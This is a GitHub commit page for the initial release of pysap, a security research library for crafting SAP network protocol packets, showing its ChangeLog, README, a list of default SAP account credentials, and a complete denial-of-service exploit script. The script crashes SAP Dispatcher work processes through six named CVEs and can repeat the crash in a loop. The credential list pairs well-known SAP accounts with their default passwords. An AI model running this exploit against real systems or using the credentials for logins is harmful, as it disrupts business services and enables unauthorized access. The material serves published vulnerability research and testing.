Skip to content

Commit 71faf47

Browse files
author
Martin Gallo
committed
Initial commit
0 parents  commit 71faf47

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

50 files changed

+13643
-0
lines changed

COPYING

Lines changed: 340 additions & 0 deletions
Large diffs are not rendered by default.

ChangeLog

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
2014-03-25 Martin Gallo <[email protected]>
2+
3+
* - Version v0.1.4 released at Troopers'14.
4+
* - Changelog now in GNU format.
5+
* - Changed setup from distutils to setuptools.
6+
* - Added some unit tests.
7+
* - Arranged most of the code according to PEP8.
8+
* pysap/SAPDiagItems.py: Fixed some support bits and added new ones found
9+
on SAP GUI version 7.30.
10+
* pysap/SAPDiagItems.py: Added new Diag Items: WindowsSize.
11+
* pysap/SAPEnqueue.py: New packet classes. Crafting of Enqueue Server
12+
packets: Connection Admin and Server Admin.
13+
* pysap/SAPNI.py: Fixed handling of NI_PING keep-alive requests.
14+
* pysap/SAPNI.py: Added logging namespace 'sapni' for all NI layer
15+
activity.
16+
* pysap/SAPMS.py: New packet classes. Crafting of Message Server packets.
17+
* pysap/SAPRouter.py: New packet classes. Crafting of SAP Router packets:
18+
Route, Admin, Control and Error Information.
19+
* pysap/SAPSNC.py: New packet class. Container for SNC Frame packets.
20+
* pysapcompress/pysapcompress.cpp: Splitted exception class in two:
21+
CompressError and DecompressError.
22+
* examples/ms_change_param.py: Added example for retrieving or changing a
23+
parameter value using MS Admin set_param commands.
24+
* examples/ms_dump_info.py: New example script for retrieving information
25+
using MS Admin dump commands.
26+
* examples/ms_impersonator.py: New example script for impersonating an
27+
application server connected to a Message Server service instance.
28+
* examples/ms_listener.py: New example script for connecting to a Message
29+
Server and listening for messages coming from the server.
30+
* examples/ms_messager.py: New example script for sending a message to a
31+
connected client throught the Message Server.
32+
* examples/ms_monitor.py: New example script for monitoring the Message
33+
Server service (msmon tool on steroids).
34+
* examples/ms_observer.py: New example script for connecting to a Message
35+
Server service and observe clients connecting to it (msprot tool).
36+
* examples/router_admin.py: New example script for performing
37+
administrative tasks on a SAP Route. Includes undocumented commands.
38+
* examples/router_portfw.py: New example script for routing native
39+
connections through SAP Router.
40+
* examples/router_scanner.py: New example script for scanning internal
41+
hosts using SAP Router.
42+
43+
2013-08-28 Martin Gallo <[email protected]>
44+
45+
* - Version v0.1.3 released.
46+
* - Added general documentation and setup.py command to build it using
47+
epydoc.
48+
* pysap/SAPNI.py: Refactored the SAP Diag Proxy and Server modules to a
49+
base NI implementation.
50+
* pysapcompress/pysapcompress.cpp: Added handling of error return codes.
51+
* examples/diag_interceptor.py: Refactored to use the new NIProxy
52+
implementation. Fixed some hanging issues. Thanks Florian Grunow for the
53+
feedbackm!
54+
* examples/diag_login_brute_force.py: Handling of license errors.
55+
56+
2012-09-27 Martin Gallo <[email protected]>
57+
58+
* - Version v0.1.2 released at Brucon'12.
59+
* pysap/SAPNI.py, pysap/SAPDiag.py: Network Interface packet class moved to
60+
a new module. Binding of the SAPNI/protocol layer is performed now by each
61+
script to allow the use of different protocols with SAPNI.
62+
* pysap/SAPNI.py: Added a NI Stream Socket class for using it instead of
63+
the base Stream Socket.
64+
* pysap/SAPDiagItems.py: Added new Diag Atom types, as used in NW 7.01 and
65+
early versions.
66+
* examples/diag_rogue_server.py: Minor fixes.
67+
* examples/diag_render_login_screen.py: Minor fixes.
68+
* examples/diag_login_brute_force.py: Added multi-thread support.
69+
70+
2012-07-29 Martin Gallo <[email protected]>
71+
72+
* - Initial version v0.1.1 releaseed at Defcon 20.

README

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
pysap - Python library for crafting SAP's network protocols packets
2+
3+
Copyright (C) 2014 Core Security Technologies
4+
5+
The library was designed and developed by Martin Gallo from the Security
6+
Consulting Services team of Core Security Technologies.
7+
8+
Version 0.1.4 (March 2014)
9+
10+
11+
Overview:
12+
========
13+
14+
SAP Netweaver [1] is a technology platform for building and integrating SAP
15+
business applications. Communication between components uses different network
16+
protocols. While some of them are standard and well-known protocols, others
17+
are proprietaries and public information is not available.
18+
19+
This Python library provides modules for crafting and sending packets using
20+
SAP's NI, Message Server, Router, RFC, SNC, Enqueue and Diag protocols. The
21+
modules are based on Scapy [2] and are based on information acquired at
22+
researching the different protocols and services. Detailed information about
23+
the research can be found at [3], [4], [5], [6] and [7].
24+
25+
26+
Features:
27+
========
28+
29+
This tool counts with the following components:
30+
31+
- SAPNI module
32+
Scapy class for the SAP NI (Network Interface protocol). It also includes a
33+
Stream Socket implementation for the SAP NI protocol, as well as a base
34+
proxy and server implementations.
35+
36+
- SAPDiag module
37+
Contain Scapy classes for craft and dissect DiagDP headers, Diag packets
38+
and items. The main class is SAPDiag that is in charge of handling
39+
compression/decompression of payload items and serve as a container for
40+
them.
41+
42+
- SAPDiagItems module
43+
Some classes for craft and dissect common Diag items.
44+
45+
- SAPDiagClient module
46+
Basic class for establishing a connection with an application server.
47+
48+
- SAPEnqueue module
49+
Scapy classes for the Enqueue protocol.
50+
51+
- SAPRouter module
52+
Scapy classes for the different SAP Router packets (route, control, error
53+
and admin messages).
54+
55+
- SAPMS module
56+
Scapy classes for the Message Server protocol.
57+
58+
- SAPSNC module
59+
Basic class to serve as container of SNC Frames found in SAPRouter and
60+
SAP Diag packets.
61+
62+
- Examples
63+
Example and proof of concept scripts to illustrate the use of the different
64+
modules and protocols: login brute force, gather information on the
65+
application server, intercept communications, a rogue Diag server
66+
implementation, test of Denial of Server issues [4], a Message Server
67+
monitor implementation, listener/messager for Message Server, SAP Router
68+
internal networks scanner and port forwarder, etc.
69+
70+
71+
Installation & Build:
72+
====================
73+
74+
Install using Python's setuptools. Installation is as follows:
75+
76+
1) python setup.py test
77+
78+
2) python setup.py install
79+
80+
Some scapy installations also requires the following steps:
81+
Edit the file supersocket.py (located for example on
82+
/usr/local/lib/python2.7/dist-packages/scapy/supersocket.py)
83+
Add the line: from scapy.packet import Padding
84+
85+
86+
Example uses:
87+
============
88+
89+
Examples can be found at the examples directory.
90+
91+
92+
License:
93+
=======
94+
95+
This library is distributed under the GPLv2 license. Check the COPYING file for
96+
more details.
97+
98+
99+
References:
100+
==========
101+
102+
[1] http://www.sap.com/platform/netweaver/index.epx
103+
[2] http://www.secdev.org/projects/scapy/
104+
[3] http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap
105+
[4] http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities
106+
[5] http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
107+
[6] http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities
108+
[7] http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=saps_network_protocols_revisited
109+
110+
111+
Contact:
112+
=======
113+
114+
Whether you want to report a bug or give some suggestions on this package, drop
115+
us a few lines at [email protected] or contact the author email
116+

examples/default_sap_credentials

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
SAP*:06071992:*
2+
SAP*:PASS:*
3+
DDIC:19920706:000,001
4+
TMSADM:PASSWORD:000
5+
EARLYWATCH:SUPPORT:066
6+
SAPCPIC:ADMIN:000,001

examples/diag_dos_exploit.py

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
#!/usr/bin/python
2+
## ===========
3+
## pysap - Python library for crafting SAP's network protocols packets
4+
##
5+
## Copyright (C) 2014 Core Security Technologies
6+
##
7+
## The library was designed and developed by Martin Gallo from the Security
8+
## Consulting Services team of Core Security Technologies.
9+
##
10+
## This program is free software; you can redistribute it and/or
11+
## modify it under the terms of the GNU General Public License
12+
## as published by the Free Software Foundation; either version 2
13+
## of the License, or (at your option) any later version.
14+
##
15+
## This program is distributed in the hope that it will be useful,
16+
## but WITHOUT ANY WARRANTY; without even the implied warranty of
17+
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18+
## GNU General Public License for more details.
19+
##==============
20+
21+
# Standard imports
22+
import logging
23+
from time import sleep
24+
from optparse import OptionParser, OptionGroup
25+
# External imports
26+
from scapy.config import conf
27+
from scapy.packet import bind_layers
28+
from scapy.supersocket import socket
29+
# Custom imports
30+
from pysap.SAPNI import SAPNI
31+
from pysap.SAPDiagClient import SAPDiagConnection
32+
from pysap.SAPDiag import SAPDiag, SAPDiagDP, SAPDiagItem
33+
34+
35+
# Bind the SAPDiag layer
36+
bind_layers(SAPNI, SAPDiag,)
37+
bind_layers(SAPNI, SAPDiagDP,)
38+
bind_layers(SAPDiagDP, SAPDiag,)
39+
bind_layers(SAPDiag, SAPDiagItem,)
40+
bind_layers(SAPDiagItem, SAPDiagItem,)
41+
42+
43+
# Set the verbosity to 0
44+
conf.verb = 0
45+
46+
47+
# Command line options parser
48+
def parse_options():
49+
50+
description = \
51+
"""This example script can be used to tests against Denial of Service vulnerabilities affecting the Dispatcher service. Currently 5 different vulnerabilities can be triggered.
52+
"""
53+
54+
epilog = \
55+
"""pysap - http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap"""
56+
57+
usage = "Usage: %prog [options] -d <remote host>"
58+
59+
parser = OptionParser(usage=usage, description=description, epilog=epilog)
60+
61+
target = OptionGroup(parser, "Target")
62+
target.add_option("-d", "--remote-host", dest="remote_host", help="Remote host")
63+
target.add_option("-p", "--remote-port", dest="remote_port", type="int", help="Remote port [%default]", default=3200)
64+
parser.add_option_group(target)
65+
66+
misc = OptionGroup(parser, "Misc options")
67+
misc.add_option("-l", "--loop", dest="loop", action="store_true", help="Loop until the user cancel (Ctrl+C) [%default]", default=False)
68+
misc.add_option("-n", "--number", dest="number", type="int", help="Number of packets to seand each round (work processes to get down) [%default]", default=1)
69+
misc.add_option("-t", "--time", dest="delay", type="int", help="Time to wait between each round [%default]", default=5)
70+
misc.add_option("-c", "--cve", dest="cve", type="int", help="Number of CVE to trigger (1-6) [%default]", default=5)
71+
misc.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output [%default]")
72+
parser.add_option_group(misc)
73+
74+
(options, _) = parser.parse_args()
75+
76+
if not options.remote_host:
77+
parser.error("Remote host is required")
78+
if options.cve > 6:
79+
parser.error("Invalid CVE")
80+
81+
return options
82+
83+
84+
def send_crash(host, port, item, number, verbose):
85+
for i in range(number):
86+
# Create the connection to the SAP Netweaver server
87+
try:
88+
if verbose:
89+
print "[*] Sending crash #", i + 1
90+
connection = SAPDiagConnection(host, port, init=True)
91+
connection.send_message([item])
92+
except socket.error:
93+
if verbose:
94+
print "[*] Connection error"
95+
96+
97+
# Main function
98+
def main():
99+
options = parse_options()
100+
101+
if options.verbose:
102+
logging.basicConfig(level=logging.DEBUG)
103+
104+
print "[*] Testing Dispatcher DoS vulnerabilities on host", options.remote_host, "port", options.remote_port
105+
106+
# Crafting the item according to the CVE selected
107+
if options.cve == 1:
108+
print "[*] Crash in DiagTraceHex (CVE-2012-2612) using a DataStream (Diag XML Blob) (requires Dialog Developer Trace enabled at level 2 or 3)"
109+
item = SAPDiagItem(item_type="DIAG_XMLBLOB", item_length=0xFFFFFFFF, item_value="Crash!")
110+
elif options.cve == 2:
111+
print "[*] Crash in DiagTraceHex (CVE-2012-2612) using a variable ST_USER ST_USER_PASSPORT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)"
112+
item = SAPDiagItem(item_type="APPL4", item_id="ST_USER", item_sid=0x18, item_length=0xFFFFFFFF, item_value="Crash!")
113+
elif options.cve == 3:
114+
print "[*] Crash in DiagTraceAtoms (CVE-2012-2511) using a DYNT ATOM item (requires Dialog Developer Trace enabled at level 2 or 3)"
115+
item = SAPDiagItem(item_type="APPL4", item_id="DYNT", item_sid=0x02, item_value="\x80" * 8)
116+
elif options.cve == 4:
117+
print "[*] Crash in DiagTraceStreamI (CVE-2012-2512) using a RCUI RCUI_CONNECT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)"
118+
item = SAPDiagItem(item_type="APPL", item_id="RCUI", item_sid=0x09, item_length=0xFF, item_value="\x12\x1A\x59\x51")
119+
elif options.cve == 5:
120+
print "[*] Crash in diaginput (CVE-2012-2513) using a VARINFO MAINAREA_PIXELSIZE item"
121+
item = SAPDiagItem(item_type="APPL", item_id="VARINFO", item_sid=0x0e, item_value="A" * 10)
122+
elif options.cve == 6:
123+
print "[*] Crash in DiagiEventSource (CVE-2012-2514) using a UI_EVENT UI_EVENT_SOURCE item"
124+
item = SAPDiagItem(item_type="APPL", item_id="UI_EVENT", item_sid=0x01, item_value="A" * 16)
125+
126+
if options.loop:
127+
try:
128+
while True:
129+
if options.verbose:
130+
print "[*] Started a new round"
131+
send_crash(options.remote_host, options.remote_port, item, options.number, options.verbose)
132+
sleep(options.delay)
133+
except KeyboardInterrupt:
134+
print "[*] Cancelled by the user"
135+
else:
136+
print "[*] Selected a single round"
137+
send_crash(options.remote_host, options.remote_port, item, options.number, options.verbose)
138+
print "[*] Crash sent, take a look at the work processes !"
139+
140+
141+
if __name__ == "__main__":
142+
main()

0 commit comments

Comments
 (0)